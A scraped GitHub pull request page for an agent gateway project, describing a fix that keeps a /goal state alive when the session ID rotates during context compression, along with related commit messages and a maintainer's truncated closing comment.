also fixes the parallel --replace takeover consume on Windows, which shares the same helper. Adds regression tests for the Windows (None start_time) path, the foreign-PID rejection under that fallback, and confirmation the start_time-mismatch guard still rejects when both are known. --------- Co-authored-by: Bartok9 <danielrpike9@gmail.com>
…_sync_telegram_topic_binding conflicts Resolved three-way merge at all three session_id rotation sites (hygiene-compression, agent-result-compression, compress-command). Both features preserved: topic binding runs first, then goal migration.
This was referenced Jun 12, 2026
Contributor
|
Thanks for this — the diagnosis and fix are correct for the rotation path. Context on why we're closing it: as of #52658 (#38763), Rotation now only runs as an explicit opt-out ( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
20 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What does this PR do?
Adds
migrate_goal()to preserve active /goal state when the session_id rotates during context compression. Wired at all 3 rotation sites in the gateway.Fixes #33618
Type of Change
Changes Made
hermes_cli/goals.py: Addedmigrate_goal(old_sid, new_sid)functiongateway/run.py: Wired migrate_goal at 3 session_id rotation sites (auto-compression, agent_result, /compress command)How to Test
/goal/compressChecklist